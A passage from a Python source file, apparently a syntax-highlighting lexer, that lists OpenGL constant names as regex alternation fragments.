r'GL_TRANSPOSE_PROJECTION_MATRIX|'\n r'GL_TRANSPOSE_TEXTURE_MATRIX|'\n r'GL_TRANSPOSE_COLOR_MATRIX|'\n r'GL_COMBINE|'\n r'GL_COMBINE_RGB|'\n r'GL_COMBINE_ALPHA|'\n r'GL_SOURCE0_RGB|'\n r'GL_SOURCE1_RGB|'\n r'GL_SOURCE2_RGB|'\n r'GL_SOURCE0_ALPHA|'\n r'GL_SOURCE1_ALPHA|'\n r'GL_SOURCE2_ALPHA|'\n r'GL_OPERAND0_RGB|'\n r'GL_OPERAND1_RGB|'\n r'GL_OPERAND2_RGB|'\n r'GL_OPERAND0_ALPHA|'\n r'GL_OPERAND1_ALPHA|'\n r'GL_OPERAND2_ALPHA|'\n r'GL_RGB_SCALE|'\n r'GL_ADD_SIGNED|'\n r'GL_INTERPOLATE|'\n r'GL_SUBTRACT|'\n r'GL_CONSTANT|'\n r'GL_PRIMARY_COLOR|'\n r'GL_PREVIOUS|'\n r'GL_DOT3_RGB|'\n r'GL_DOT3_RGBA|'\n r'GL_CLAMP_TO_BORDER|'\n r'GL_GENERATE_MIPMAP|'\n r'GL_GENERATE_MIPMAP_HINT|'\n r'GL_BLEND_COLOR|'\n r'GL_DEPTH_COMPONENT16|'\n r'GL_DEPTH_COMPONENT24|'\n r'GL_DEPTH_COMPONENT32|'\n r'GL_TEXTURE_DEPTH_SIZE|'\n r'GL_DEPTH_TEXTURE_MODE|'\n r'GL_TEXTURE_COMPARE_MODE|'\n r'GL_TEXTURE_COMPARE_FUNC|'\n r'GL_COMPARE_R_TO_TEXTURE|'\n r'GL_FOG_COORDINATE_SOURCE|'\n r'GL_FOG_COORDINATE|'\n r'GL_FRAGMENT_DEPTH|'\n r'GL_CURRENT_FOG_COORDINATE|'\n r'GL_FOG_COORDINATE_ARRAY_TYPE|'\n r'GL_FOG_COORDINATE_ARRAY_STRIDE|'\n r'GL_FOG_COORDINATE_ARRAY_POINTER|'\n r'GL_FOG_COORDINATE_ARRAY|'\n r'GL_POINT_SIZE_MIN|'\n r'GL_POINT_SIZE_MAX|'\n r'GL_POINT_FADE_THRESHOLD_SIZE|'\n r'GL_POINT_DISTANCE_ATTENUATION|'\n r'GL_COLOR_SUM|'\n r'GL_CURRENT_SECONDARY_COLOR|'\n r'GL_SECONDARY_COLOR_ARRAY_SIZE|'\n r'GL_SECONDARY_COLOR_ARRAY_TYPE|'\n r'GL_SECONDARY_COLOR_ARRAY_STRIDE|'\n r'GL_SECONDARY_COLOR_ARRAY_POINTER|'\n r'GL_SECONDARY_COLOR_ARRAY|'\n r'GL_BLEND_DST_RGB|'\n r'GL_BLEND_SRC_RGB|'\n r'GL_BLEND_DST_ALPHA|'\n r'GL_BLEND_SRC_ALPHA|'\n r'GL_INCR_WRAP|'\n r'GL_DECR_WRAP|'\n r'GL_TEXTURE_FILTER_CONTROL|'\n r'GL_TEXTURE_LOD_BIAS|'\n r'GL_MAX_TEXTURE_LOD_BIAS|'\n r'GL_MIRRORED_REPEAT|'\n r'GL_FUNC_ADD|'\n r'GL_FUNC_SUBTRACT|'\n r'GL_FUNC_REVERSE_SUBTRACT|'\n r'GL_MAX|'\n r'GL_MIN|'\n r'GL_ARRAY_BUFFER|'\n r'GL_ARRAY_BUFFER_BINDING|'\n r'GL_BUFFER_ACCESS|'\n r'GL_BUFFER_MAP_POINTER|'\n r'GL_BUFFER_MAPPED|'\n r'GL_BUFFER_USAGE|'\n r'GL_BUFFER_SIZE|'\n r'GL_CURRENT_VERTEX_ATTRIB|'\n r'GL_DYNAMIC_DRAW|'\n r'GL_DYNAMIC_READ|'\n r'GL_DYNAMIC_COPY|'\n r'GL_ELEMENT_ARRAY_BUFFER|'\n r'GL_ELEMENT_ARRAY_BUFFER_BINDING|'\n r'GL_MAX_DRAW_BUFFERS|'\n r'GL_PIXEL_UNPACK_BUFFER|'\n r'GL_PIXEL_PACK_BUFFER|'\n r'GL_PIXEL_UNPACK_BUFFER_BINDING|'\n r'GL_PIXEL_PACK_BUFFER_BINDING|'\n r'GL_READ_ONLY|'\n r'GL_WRITE_ONLY|'\n r'GL_READ_WRITE|'\n r'GL_STREAM_DRAW|'\n r'GL_STREAM_READ|'\n r'GL_STREAM_COPY|'\n r'GL_STATIC_DRAW|'\n r'GL_STATIC_READ|'\n r'GL_STATIC_COPY|'\n r'GL_COLOR_MATRIX|'\n r'GL_COLOR_MATRIX_STACK_DEPTH|'\n r'GL_MAX_COLOR_MATRIX_STACK_DEPTH|'\n r'GL_COLOR_TABLE|'\n r'GL_COLOR_TABLE_BIAS|'\n r'GL_COLOR_TABLE_FORMAT|'\n r'GL_COLOR_TABLE_SCALE|'\n r'GL_COLOR_TABLE_WIDTH|'\n r'GL_POST_COLOR_COLOR_TABLE|'\n r'GL_POST_CONVOLUTION_COLOR_TABLE|'\n r'GL_PROXY_COLOR_TABLE|'\n r'GL_PROXY_POST_COLOR_COLOR_TABLE|'\n r'GL_PROXY_POST_CONVOLUTION_COLOR_TABLE|'\n r'GL_CONSTANT_BORDER|'\n r'GL_CONVOLUTION_1D|'\n r'GL_CONVOLUTION_2D|'\n r'GL_CONVOLUTION_BORDER_COLOR|'\n r'GL_CONVOLUTION_BORDER_MODE|'\n r'GL_CONVOLUTION_FILTER_BIAS|'\n r'GL_CONVOLUTION_FILTER_SCALE|'\n r'GL_CONVOLUTION_FORMAT|'\n r'GL_CONVOLUTION_HEIGHT|'\n r'GL_CONVOLUTION_WIDTH|'\n r'GL_MAX_CONVOLUTION_WIDTH|'\n r'GL_MAX_CONVOLUTION_HEIGHT|'\n r'GL_REDUCE|'\n r'GL_REPLICATE_BORDER|'\n r'GL_SEPARABLE_2D|'\n r'GL_FOG_COORD_ARRAY_POINTER|'\n r'GL_FOG_COORD_ARRAY_SIZE|'\n r'GL_FOG_COORD_ARRAY_STRIDE|'\n r'GL_FOG_COORD_ARRAY_TYPE|'\n r'GL_FRAGMENT_SHADER_DERIVATIVE_HINT|'\n r'GL_HISTOGRAM|'\n r'GL_HISTOGRAM_ALPHA_SIZE|'\n r'GL_HISTOGRAM_BLUE_SIZE|'\n r'GL_HISTOGRAM_FORMAT|'\n r'GL_HISTOGRAM_LUMINANCE_SIZE|'\n r'GL_HISTOGRAM_GREEN_SIZE|'\n r'GL_HISTOGRAM_RED_SIZE|'\n r'GL_HISTOGRAM_SINK|'\n r'GL_HISTOGRAM_WIDTH|'\n r'GL_PROXY_HISTOGRAM|'\n r'GL_MINMAX|'\n r'GL_MINMAX_FORMAT|'\n r'GL_MINMAX_SINK|'\n r'GL_UNPACK_LSB_FIRST|'\n r'GL_POST_COLOR_RED_SCALE|'\n r'GL_POST_COLOR_RED_BIAS|'\n r'GL_POST_COLOR_GREEN_SCALE|'\n r'GL_POST_COLOR_GREEN_BIAS|'\n r'GL_POST_COLOR_BLUE_SCALE|'\n r'GL_POST_COLOR_BLUE_BIAS|'\n r'GL_POST_COLOR_ALPHA_SCALE|'\n r'GL_POST_COLOR_ALPHA_BIAS|'\n r'GL_POST_CONVOLUTION_RED_SCALE|'\n r'GL_POST_CONVOLUTION_RED_BIAS|'\n r'GL_POST_CONVOLUTION_GREEN_SCALE|'\n r'GL_POST_CONVOLUTION_GREEN_BIAS|'\n r'GL_POST_CONVOLUTION_BLUE_SCALE|'\n r'GL_POST_CONVOLUTION_BLUE_BIAS|'\n r'GL_POST_CONVOLUTION_ALPHA_SCALE|'\n r'GL_POST_CONVOLUTION_ALPHA_BIAS|'\n r'GL_COORD_REPLACE|'\n r'GL_LOWER_LEFT|'\n r'GL_POINT_SPRITE|'\n r'GL_POINT_SPRITE_COORD_ORIGIN|'\n r'GL_UPPER_LEFT|'\n r'GL_CURRENT_QUERY|'\n r'GL_QUERY_COUNTER_BITS|'\n r'GL_QUERY_RESULT|'\n r'GL_QUERY_RESULT_AVAILABLE|'\n r'GL_SAMPLES_PASSED|'\n r'GL_FLOAT|'\n r'GL_FLOAT_VEC2|'\n r'GL_FLOAT_VEC3|'\n r'GL_FLOAT_VEC4|'\n r'GL_INT|'\n r'GL_INT_VEC2|'\n r'GL_INT_VEC3|'\n r'GL_INT_VEC4|'\n r'GL_BOOL|'\n r'GL_BOOL_VEC2|'\n r'GL_BOOL_VEC3|'\n r'GL_BOOL_VEC4|'\n r'GL_FLOAT_MAT2|'\n r'GL_FLOAT_MAT3|'\n r'GL_FLOAT_MAT4|'\n r'GL_FLOAT_MAT2x3|'\n r'GL_FLOAT_MAT2x4|'\n r'GL_FLOAT_MAT3x2|'\n r'GL_FLOAT_MAT3x4|'\n r'GL_FLOAT_MAT4x2|'\n r'GL_FLOAT_MAT4x3|'\n r'GL_SAMPLER_1D|'\n r'GL_SAMPLER_2D|'\n r'GL_SAMPLER_3D|'\n r'GL_SAMPLER_CUBE|'\n r'GL_SAMPLER_1D_SHADOW|'\n r'GL_SAMPLER_2D_SHADOW|'\n r'GL_ACTIVE_ATTRIBUTE_MAX_LENGTH|'\n r'GL_ACTIVE_ATTRIBUTES|'\n r'GL_ACTIVE_UNIFORM_MAX_LENGTH|'\n r'GL_ACTIVE_UNIFORMS|'\n r'GL_ATTACHED_SHADERS|'\n r'GL_COMPILE_STATUS|'\n r'GL_CURRENT_PROGRAM|'\n r'GL_DELETE_STATUS|'\n r'GL_FOG_COORD|'\n r'GL_FOG_COORD_SRC|'\n r'GL_INFO_LOG_LENGTH|'\n r'GL_FRAGMENT_SHADER|'\n r'GL_LINK_STATUS|'\n r'GL_MAX_COMBINED_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_FRAGMENT_UNIFORM_COMPONENTS|'\n r'GL_MAX_VARYING_FLOATS|'\n r'GL_MAX_VERTEX_ATTRIBS|'\n r'GL_MAX_VERTEX_UNIFORM_COMPONENTS|'\n r'GL_SHADER_SOURCE_LENGTH|'\n r'GL_SHADER_TYPE|'\n r'GL_SHADING_LANGUAGE_VERSION|'\n r'GL_VALIDATE_STATUS|'\n r'GL_VERTEX_PROGRAM_TWO_SIDE|'\n r'GL_VERTEX_PROGRAM_POINT_SIZE|'\n r'GL_VERTEX_SHADER|'\n r'GL_COMPRESSED_SRGB|'\n r'GL_COMPRESSED_SRGB_ALPHA|'\n r'GL_COMPRESSED_SLUMINANCE|'\n r'GL_COMPRESSED_SLUMINANCE_ALPHA|'\n r'GL_SRC0_RGB|'\n r'GL_SRC1_RGB|'\n r'GL_SRC2_RGB|'\n r'GL_SRC0_ALPHA|'\n r'GL_SRC1_ALPHA|'\n r'GL_SRC2_ALPHA|'\n r'GL_SRGB|'\n r'GL_SRGB_ALPHA|'\n r'GL_SRGB8|'\n r'GL_SRGB8_ALPHA8|'\n r'GL_SLUMINANCE|'\n r'GL_SLUMINANCE8|'\n r'GL_SLUMINANCE_ALPHA|'\n r'GL_SLUMINANCE_ALPHA8|'\n r'GL_VERTEX_ATTRIB_ARRAY_BUFFER_BINDING|'\n r'GL_VERTEX_ATTRIB_ARRAY_ENABLED|'\n r'GL_VERTEX_ATTRIB_ARRAY_NORMALIZED|'\n r'GL_VERTEX_ATTRIB_ARRAY_POINTER|'\n r'GL_VERTEX_ATTRIB_ARRAY_SIZE|'\n r'GL_VERTEX_ATTRIB_ARRAY_STRIDE|'\n r'GL_VERTEX_ATTRIB_ARRAY_TYPE|'\n r'GL_HALF_FLOAT|'\n r'GL_UNSIGNED_INT_24_8|'\n r'GL_UNSIGNED_INT_10F_11F_11F_REV|'\n r'GL_UNSIGNED_INT_5_9_9_9_REV|'\n r'GL_FLOAT_32_UNSIGNED_INT_24_8_REV|'\n r'GL_INDEX|'\n r'GL_UNSIGNED_NORMALIZED|'\n r'GL_MAP_FLUSH_EXPLICIT_BIT|'\n r'GL_MAP_INVALIDATE_RANGE_BIT|'\n r'GL_MAP_INVALIDATE_BUFFER_BIT|'\n r'GL_MAP_READ_BIT|'\n r'GL_MAP_UNSYNCHRONIZED_BIT|'\n r'GL_MAP_WRITE_BIT|'\n r'GL_DRAW_BUFFER0|'\n r'GL_DRAW_BUFFER1|'\n r'GL_DRAW_BUFFER2|'\n r'GL_DRAW_BUFFER3|'\n r'GL_DRAW_BUFFER4|'\n r'GL_DRAW_BUFFER5|'\n r'GL_DRAW_BUFFER6|'\n r'GL_DRAW_BUFFER7|'\n r'GL_DRAW_BUFFER8|'\n r'GL_DRAW_BUFFER9|'\n r'GL_DRAW_BUFFER10|'\n r'GL_DRAW_BUFFER11|'\n r'GL_DRAW_BUFFER12|'\n r'GL_DRAW_BUFFER13|'\n r'GL_DRAW_BUFFER14|'\n r'GL_DRAW_BUFFER15|'\n r'GL_MAX_COLOR_ATTACHMENTS|'\n r'GL_COLOR_ATTACHMENT0|'\n r'GL_COLOR_ATTACHMENT1|'\n r'GL_COLOR_ATTACHMENT2|'\n r'GL_COLOR_ATTACHMENT3|'\n r'GL_COLOR_ATTACHMENT4|'\n r'GL_COLOR_ATTACHMENT5|'\n r'GL_COLOR_ATTACHMENT6|'\n r'GL_COLOR_ATTACHMENT7|'\n r'GL_COLOR_ATTACHMENT8|'\n r'GL_COLOR_ATTACHMENT9|'\n r'GL_COLOR_ATTACHMENT10|'\n r'GL_COLOR_ATTACHMENT11|'\n r'GL_COLOR_ATTACHMENT12|'\n r'GL_COLOR_ATTACHMENT13|'\n r'GL_COLOR_ATTACHMENT14|'\n r'GL_COLOR_ATTACHMENT15|'\n r'GL_DEPTH_ATTACHMENT|'\n r'GL_STENCIL_ATTACHMENT|'\n r'GL_DEPTH_STENCIL_ATTACHMENT|'\n r'GL_CLAMP_VERTEX_COLOR|'\n r'GL_CLAMP_FRAGMENT_COLOR|'\n r'GL_CLAMP_READ_COLOR|'\n r'GL_FIXED_ONLY|'\n r'GL_RG|'\n r'GL_R8|'\n r'GL_R16|'\n r'GL_RG8|'\n r'GL_RG16|'\n r'GL_R16F|'\n r'GL_RG16F|'\n r'GL_RGB16F|'\n r'GL_RGBA16F|'\n r'GL_R32F|'\n r'GL_RG32F|'\n r'GL_RGB32F|'\n r'GL_RGBA32F|'\n r'GL_R11F_G11F_B10F|'\n r'GL_RGB9_E5|'\n r'GL_R8I|'\n r'GL_R8UI|'\n r'GL_R16I|'\n r'GL_R16UI|'\n r'GL_R32I|'\n r'GL_R32UI|'\n r'GL_RG8I|'\n r'GL_RG8UI|'\n r'GL_RG16I|'\n r'GL_RG16UI|'\n r'GL_RG32I|'\n r'GL_RG32UI|'\n r'GL_RGB8I|'\n r'GL_RGB8UI|'\n r'GL_RGB16I|'\n r'GL_RGB16UI|'\n r'GL_RGB32I|'\n r'GL_RGB32UI|'\n r'GL_RGBA8I|'\n r'GL_RGBA8UI|'\n r'GL_RGBA16I|'\n r'GL_RGBA16UI|'\n r'GL_RGBA32I|'\n r'GL_RGBA32UI|'\n r'GL_COMPRESSED_RED|'\n r'GL_COMPRESSED_RG|'\n r'GL_COMPRESSED_RED_RGTC1|'\n r'GL_COMPRESSED_SIGNED_RED_RGTC1|'\n r'GL_COMPRESSED_RG_RGTC2|'\n r'GL_COMPRESSED_SIGNED_RG_RGTC2|'\n r'GL_DEPTH_COMPONENT32F|'\n r'GL_DEPTH24_STENCIL8|'\n r'GL_DEPTH32F_STENCIL8|'\n r'GL_INVALID_FRAMEBUFFER_OPERATION|'\n r'GL_FRAMEBUFFER_COMPLETE|'\n r'GL_FRAMEBUFFER_UNDEFINED|'\n r'GL_FRAMEBUFFER_INCOMPLETE_ATTACHMENT|'\n r'GL_FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT|'\n r'GL_FRAMEBUFFER_INCOMPLETE_DRAW_BUFFER|'\n r'GL_FRAMEBUFFER_INCOMPLETE_READ_BUFFER|'\n r'GL_FRAMEBUFFER_UNSUPPORTED|'\n r'GL_FRAMEBUFFER_INCOMPLETE_MULTISAMPLE|'\n r'GL_FRAMEBUFFER_INCOMPLETE_LAYER_TARGETS|'\n r'GL_FRAMEBUFFER|'\n r'GL_FRAMEBUFFER_BINDING|'\n r'GL_FRAMEBUFFER_DEFAULT|'\n r'GL_DRAW_FRAMEBUFFER|'\n r'GL_DRAW_FRAMEBUFFER_BINDING|'\n r'GL_READ_FRAMEBUFFER|'\n r'GL_READ_FRAMEBUFFER_BINDING|'\n r'GL_FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING|'\n r'GL_FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_NAME|'\n r'GL_FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_RED_SIZE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_GREEN_SIZE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_BLUE_SIZE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE|'\n r'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER|'\n r'GL_FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL|'\n r'GL_FRAMEBUFFER_SRGB|'\n r'GL_DEPTH_STENCIL|'\n r'GL_RED_INTEGER|'\n r'GL_GREEN_INTEGER|'\n r'GL_BLUE_INTEGER|'\n r'GL_ALPHA_INTEGER|'\n r'GL_RG_INTEGER|'\n r'GL_RGB_INTEGER|'\n r'GL_RGBA_INTEGER|'\n r'GL_BGR_INTEGER|'\n r'GL_BGRA_INTEGER|'\n r'GL_PRIMITIVES_GENERATED|'\n r'GL_QUERY_BY_REGION_NO_WAIT|'\n r'GL_QUERY_BY_REGION_WAIT|'\n r'GL_QUERY_NO_WAIT|'\n r'GL_QUERY_WAIT|'\n r'GL_TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN|'\n r'GL_RASTERIZER_DISCARD|'\n r'GL_MAX_RENDERBUFFER_SIZE|'\n r'GL_MAX_SAMPLES|'\n r'GL_RENDERBUFFER|'\n r'GL_RENDERBUFFER_BINDING|'\n r'GL_RENDERBUFFER_HEIGHT|'\n r'GL_RENDERBUFFER_INTERNAL_FORMAT|'\n r'GL_RENDERBUFFER_SAMPLES|'\n r'GL_RENDERBUFFER_WIDTH|'\n r'GL_RENDERBUFFER_RED_SIZE|'\n r'GL_RENDERBUFFER_GREEN_SIZE|'\n r'GL_RENDERBUFFER_BLUE_SIZE|'\n r'GL_RENDERBUFFER_ALPHA_SIZE|'\n r'GL_RENDERBUFFER_DEPTH_SIZE|'\n r'GL_RENDERBUFFER_STENCIL_SIZE|'\n r'GL_INT|'\n r'GL_INT_VEC2|'\n r'GL_INT_VEC3|'\n r'GL_INT_VEC4|'\n r'GL_INT_SAMPLER_1D|'\n r'GL_INT_SAMPLER_2D|'\n r'GL_INT_SAMPLER_3D|'\n r'GL_INT_SAMPLER_CUBE|'\n r'GL_INT_SAMPLER_1D_ARRAY|'\n r'GL_INT_SAMPLER_2D_ARRAY|'\n r'GL_SAMPLER_1D_ARRAY|'\n r'GL_SAMPLER_2D_ARRAY|'\n r'GL_SAMPLER_1D_ARRAY_SHADOW|'\n r'GL_SAMPLER_2D_ARRAY_SHADOW|'\n r'GL_SAMPLER_CUBE_SHADOW|'\n r'GL_UNSIGNED_INT|'\n r'GL_UNSIGNED_INT_VEC2|'\n r'GL_UNSIGNED_INT_VEC3|'\n r'GL_UNSIGNED_INT_VEC4|'\n r'GL_UNSIGNED_INT_SAMPLER_1D|'\n r'GL_UNSIGNED_INT_SAMPLER_2D|'\n r'GL_UNSIGNED_INT_SAMPLER_3D|'\n r'GL_UNSIGNED_INT_SAMPLER_CUBE|'\n r'GL_UNSIGNED_INT_SAMPLER_1D_ARRAY|'\n r'GL_UNSIGNED_INT_SAMPLER_2D_ARRAY|'\n r'GL_MAX_TEXTURE_COORDS|'\n r'GL_MAX_VARYING_COMPONENTS|'\n r'GL_MIN_PROGRAM_TEXEL_OFFSET|'\n r'GL_MAX_PROGRAM_TEXEL_OFFSET|'\n r'GL_COMPARE_REF_TO_TEXTURE|'\n r'GL_MAX_ARRAY_TEXTURE_LAYERS|'\n r'GL_TEXTURE_1D_ARRAY|'\n r'GL_TEXTURE_2D_ARRAY|'\n r'GL_TEXTURE_BINDING_1D_ARRAY|'\n r'GL_TEXTURE_BINDING_2D_ARRAY|'\n r'GL_PROXY_TEXTURE_1D_ARRAY|'\n r'GL_PROXY_TEXTURE_2D_ARRAY|'\n r'GL_TEXTURE_RED_TYPE|'\n r'GL_TEXTURE_GREEN_TYPE|'\n r'GL_TEXTURE_BLUE_TYPE|'\n r'GL_TEXTURE_ALPHA_TYPE|'\n r'GL_TEXTURE_LUMINANCE_TYPE|'\n r'GL_TEXTURE_DEPTH_TYPE|'\n r'GL_TEXTURE_INTENSITY_TYPE|'\n r'GL_TEXTURE_STENCIL_SIZE|'\n r'GL_TEXTURE_SHARED_SIZE|'\n r'GL_INTERLEAVED_ATTRIBS|'\n r'GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS|'\n r'GL_MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS|'\n r'GL_MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS|'\n r'GL_SEPARATE_ATTRIBS|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER_BINDING|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER_MODE|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER_SIZE|'\n r'GL_TRANSFORM_FEEDBACK_BUFFER_START|'\n r'GL_TRANSFORM_FEEDBACK_VARYING_MAX_LENGTH|'\n r'GL_TRANSFORM_FEEDBACK_VARYINGS|'\n r'GL_CONTEXT_FLAGS|'\n r'GL_CONTEXT_FLAG_FORWARD_COMPATIBLE_BIT|'\n r'GL_MAJOR_VERSION|'\n r'GL_MINOR_VERSION|'\n r'GL_NUM_EXTENSIONS|'\n r'GL_VERTEX_ARRAY_BINDING|'\n r'GL_VERTEX_ATTRIB_ARRAY_INTEGER|'\n r'GL_BUFFER_ACCESS_FLAGS|'\n r'GL_BUFFER_MAP_LENGTH|'\n r'GL_BUFFER_MAP_OFFSET|'\n r'GL_COPY_READ_BUFFER|'\n r'GL_COPY_WRITE_BUFFER|'\n r'GL_PRIMITIVE_RESTART|'\n r'GL_PRIMITIVE_RESTART_INDEX|'\n r'GL_MAX_RECTANGLE_TEXTURE_SIZE|'\n r'GL_TEXTURE_RECTANGLE|'\n r'GL_TEXTURE_BINDING_RECTANGLE|'\n r'GL_PROXY_TEXTURE_RECTANGLE|'\n r'GL_MAX_TEXTURE_BUFFER_SIZE|'\n r'GL_TEXTURE_BUFFER|'\n r'GL_TEXTURE_BINDING_BUFFER|'\n r'GL_TEXTURE_BUFFER_DATA_STORE_BINDING|'\n r'GL_ACTIVE_UNIFORM_BLOCKS|'\n r'GL_UNIFORM_BLOCK_ACTIVE_UNIFORMS|'\n r'GL_UNIFORM_BLOCK_BINDING|'\n r'GL_UNIFORM_BLOCK_DATA_SIZE|'\n r'GL_UNIFORM_BLOCK_INDEX|'\n r'GL_UNIFORM_BLOCK_NAME_LENGTH|'\n r'GL_UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER|'\n r'GL_UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER|'\n r'GL_MAX_UNIFORM_BLOCK_SIZE|'\n r'GL_MAX_UNIFORM_BUFFER_BINDINGS|'\n r'GL_MAX_COMBINED_UNIFORM_BLOCKS|'\n r'GL_MAX_FRAGMENT_UNIFORM_BLOCKS|'\n r'GL_MAX_VERTEX_UNIFORM_BLOCKS|'\n r'GL_UNIFORM_ARRAY_STRIDE|'\n r'GL_UNIFORM_IS_ROW_MAJOR|'\n r'GL_UNIFORM_MATRIX_STRIDE|'\n r'GL_UNIFORM_NAME_LENGTH|'\n r'GL_UNIFORM_OFFSET|'\n r'GL_UNIFORM_SIZE|'\n r'GL_UNIFORM_TYPE|'\n r'GL_UNIFORM_BUFFER|'\n r'GL_UNIFORM_BUFFER_BINDING|'\n r'GL_UNIFORM_BUFFER_OFFSET_ALIGNMENT|'\n r'GL_UNIFORM_BUFFER_SIZE|'\n r'GL_UNIFORM_BUFFER_START|'\n r'GL_R8_SNORM|'\n r'GL_R16_SNORM|'\n r'GL_RG8_SNORM|'\n r'GL_RG16_SNORM|'\n r'GL_RGB8_SNORM|'\n r'GL_RGB16_SNORM|'\n r'GL_RGBA8_SNORM|'\n r'GL_RGBA16_SNORM|'\n r'GL_SAMPLE_POSITION|'\n r'GL_LINES_ADJACENCY|'\n r'GL_LINE_STRIP_ADJACENCY|'\n r'GL_TRIANGLES_ADJACENCY|'\n r'GL_TRIANGLE_STRIP_ADJACENCY|'\n r'GL_PROVOKING_VERTEX|'\n r'GL_FIRST_VERTEX_CONVENTION|'\n r'GL_LAST_VERTEX_CONVENTION|'\n r'GL_SAMPLER_2D_MULTISAMPLE|'\n r'GL_SAMPLER_2D_MULTISAMPLE_ARRAY|'\n r'GL_SAMPLER_2D_RECT|'\n r'GL_SAMPLER_2D_RECT_SHADOW|'\n r'GL_SAMPLER_BUFFER|'\n r'GL_INT_SAMPLER_2D_MULTISAMPLE|'\n r'GL_INT_SAMPLER_2D_MULTISAMPLE_ARRAY|'\n r'GL_INT_SAMPLER_2D_RECT|'\n r'GL_INT_SAMPLER_BUFFER|'\n r'GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE|'\n r'GL_UNSIGNED_INT_SAMPLER_2D_MULTISAMPLE_ARRAY|'\n r'GL_UNSIGNED_INT_SAMPLER_2D_RECT|'\n r'GL_UNSIGNED_INT_SAMPLER_BUFFER|'\n r'GL_MAX_GEOMETRY_UNIFORM_COMPONENTS|'\n r'GL_MAX_GEOMETRY_OUTPUT_VERTICES|'\n r'GL_MAX_GEOMETRY_TOTAL_OUTPUT_COMPONENTS|'\n r'GL_MAX_GEOMETRY_INPUT_COMPONENTS|'\n r'GL_MAX_GEOMETRY_OUTPUT_COMPONENTS|'\n r'GL_MAX_GEOMETRY_SHADER_INVOCATIONS|'\n r'GL_MAX_GEOMETRY_UNIFORM_BLOCKS|'\n r'GL_GEOMETRY_SHADER|'\n r'GL_GEOMETRY_VERTICES_OUT|'\n r'GL_GEOMETRY_INPUT_TYPE|'\n r'GL_GEOMETRY_OUTPUT_TYPE|'\n r'GL_CONTEXT_CORE_PROFILE_BIT|'\n r'GL_CONTEXT_COMPATIBILITY_PROFILE_BIT|'\n r'GL_CONDITION_SATISFIED|'\n r'GL_MAX_SERVER_WAIT_TIMEOUT|'\n r'GL_OBJECT_TYPE|'\n r'GL_SIGNALED|'\n r'GL_UNSIGNALED|'\n r'GL_SYNC_CONDITION|'\n r'GL_SYNC_FENCE|'\n r'GL_SYNC_FLAGS|'\n r'GL_SYNC_FLUSH_COMMANDS_BIT|'\n r'GL_SYNC_GPU_COMMANDS_COMPLETE|'\n r'GL_SYNC_STATUS|'\n r'GL_TIMEOUT_EXPIRED|'\n r'GL_TIMEOUT_IGNORED|'\n r'GL_WAIT_FAILED|'\n r'GL_TEXTURE_2D_MULTISAMPLE|'\n r'GL_TEXTURE_2D_MULTISAMPLE_ARRAY|'\n r'GL_TEXTURE_BINDING_2D_MULTISAMPLE|'\n r'GL_TEXTURE_BINDING_2D_MULTISAMPLE_ARRAY|'\n r'GL_PROXY_TEXTURE_2D_MULTISAMPLE|'\n r'GL_PROXY_TEXTURE_2D_MULTISAMPLE_ARRAY|'\n r'GL_TEXTURE_FIXED_SAMPLE_LOCATIONS|'\n r'GL_UNIFORM_BLOCK_REFERENCED_BY_GEOMETRY_SHADER|'\n r'GL_SRC1_COLOR|'\n r'GL_ONE_MINUS_SRC1_COLOR|'\n r'GL_ONE_MINUS_SRC1_ALPHA|'\n r'GL_MAX_DUAL_SOURCE_DRAW_BUFFERS|'\n r'GL_RGB10_A2UI|'\n r'GL_ANY_SAMPLES_PASSED|'\n r'GL_TIME_ELAPSED|'\n r'GL_TIMESTAMP|'\n r'GL_SAMPLER_BINDING|'\n r'GL_TEXTURE_SWIZZLE_R|'\n r'GL_TEXTURE_SWIZZLE_G|'\n r'GL_TEXTURE_SWIZZLE_B|'\n r'GL_TEXTURE_SWIZZLE_A|'\n r'GL_TEXTURE_SWIZZLE_RGBA|'\n r'GL_VERTEX_ATTRIB_ARRAY_DIVISOR|'\n r'GL_INT_2_10_10_10_REV|'\n r'GL_DRAW_INDIRECT_BUFFER|'\n r'GL_DRAW_INDIRECT_BUFFER_BINDING|'\n r'GL_PATCH_DEFAULT_INNER_LEVEL|'\n r'GL_PATCH_DEFAULT_OUTER_LEVEL|'\n r'GL_PATCH_VERTICES|'\n r'GL_MAX_PATCH_VERTICES|'\n r'GL_PATCHES|'\n r'GL_MAX_VERTEX_STREAMS|'\n r'GL_SAMPLE_SHADING|'\n r'GL_SAMPLE_MASK|'\n r'GL_SAMPLE_MASK_VALUE|'\n r'GL_MIN_SAMPLE_SHADING_VALUE|'\n r'GL_TESS_CONTROL_SHADER|'\n r'GL_TESS_EVALUATION_SHADER|'\n r'GL_MAX_VERTEX_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_GEOMETRY_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_TESS_CONTROL_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_TESS_EVALUATION_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_TEXTURE_IMAGE_UNITS|'\n r'GL_MAX_VERTEX_OUTPUT_COMPONENTS|'\n 